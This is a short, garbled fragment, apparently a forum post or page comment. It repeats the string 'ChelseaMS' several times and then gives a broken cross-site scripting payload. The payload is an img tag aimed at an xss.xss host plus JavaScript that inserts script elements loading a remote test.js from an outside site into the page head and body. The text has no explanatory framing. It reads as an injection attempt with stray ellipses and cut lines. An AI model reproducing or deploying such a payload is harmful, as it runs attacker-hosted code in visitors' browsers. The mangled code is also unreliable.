ChelseaMSChelseaMSChelseaMS
ChelseaMSChelseaMSChelseaMS
ChelseaMSChelseaMSChelseaMS
ChelseaMSChelseaMSChelseaMS
ChelseaMSChelseaMSChelseaMS
img src="http://xss.xss/xss.jpg" x='
.."var
s=document.createElement('script');s.src='..';document.getEl
ementsByTagName('head')[0].appendChild(s);"
......"var x=document.createElement('script');x.src='http://www.actuali
zando.com/.../test.js';document.getElementsByTagName('body')
[0].appendChild(x);" /